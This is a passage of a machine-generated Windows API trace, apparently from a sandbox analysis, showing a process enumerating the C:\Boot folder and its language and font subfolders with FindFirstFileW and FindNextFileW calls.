cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.664] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.664] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.664] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0057.664] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.665] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.665] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.665] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.665] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.665] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0057.665] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.666] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.666] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.666] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.666] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.666] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0057.666] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.671] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.671] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.671] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.671] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.671] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0057.671] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.672] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.672] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.672] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.675] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.675] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0057.675] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.676] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.676] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0057.676] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.676] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.677] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0057.677] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.681] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.681] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.681] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.681] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.681] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0057.681] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.681] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.682] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.682] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.682] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.682] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0057.682] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.683] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.683] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.683] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.683] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.683] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0057.683] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.684] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.684] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.684] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.684] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.684] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0057.684] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.685] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.685] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.685] FindClose (in: hFindFile=0x629548 | out: hFindFile=0x629548) returned 1 [0057.685] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x37a0270 | out: hHeap=0x5d0000) returned 1 [0057.685] FindNextFileW (in: hFindFile=0x628500, lpFindFileData=0x2f3fa84 | out: lpFindFileData=0x2f3fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0057.685] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x629548 [0057.686] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.686] FindNextFileW (in: hFindFile=0x629548, lpFindFileData=0x2f3f808 | out: lpFindFileData=0x2f3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, 